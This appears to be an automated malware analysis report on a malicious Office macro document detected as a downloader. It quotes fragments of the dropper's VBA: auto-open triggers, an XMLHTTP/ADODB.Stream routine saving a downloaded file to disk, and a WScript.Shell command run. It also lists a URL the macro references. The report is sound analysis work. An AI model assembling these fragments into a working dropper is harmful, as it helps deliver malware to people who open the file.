Malicious Office (OLE) — malware analysis report

Heuristics 15

• ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
• VBA macros detected medium 7 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

      Dim statsImage
      Set statsImage = VBA.CreateObject("WScript.Shell")
      statsImage.Run "cmd /k cd """ + imgPth + """ && querystats.bat", 0, False

• VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
  VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
  Matched line in script

          .Open
          .write xHttp.responseBody
          .savetofile imagePlace, 2 '//overwrite

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Function findImages(imagePath, imagePlace)
      Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
      Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• AutoOpen macro low OLE_VBA_AUTOOPEN
  AutoOpen macro
  Matched line in script

  Sub AutoOpen()
    Call checkImages

• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  End Sub
  Sub Workbook_Open()
    Call checkImages

• Auto_Open macro low OLE_VBA_AUTO
  Auto_Open macro
  Matched line in script

  End Function
  Sub Auto_Open()
    Call checkImages

• Reference to Windows Script Host high SC_STR_WSCRIPT
  Reference to Windows Script Host
• LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
  Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
• Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
  OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Urgency / deadline lure low SE_URGENCY_LURE
  Document contains urgency or deadline language ('account will be terminated', 'action required within 24 hours', etc.) — useful context, but low-signal without other findings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL https://ecabank.org:8443 Referenced by macro

  • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Open this report in the interactive analyzer, or submit your own file for analysis.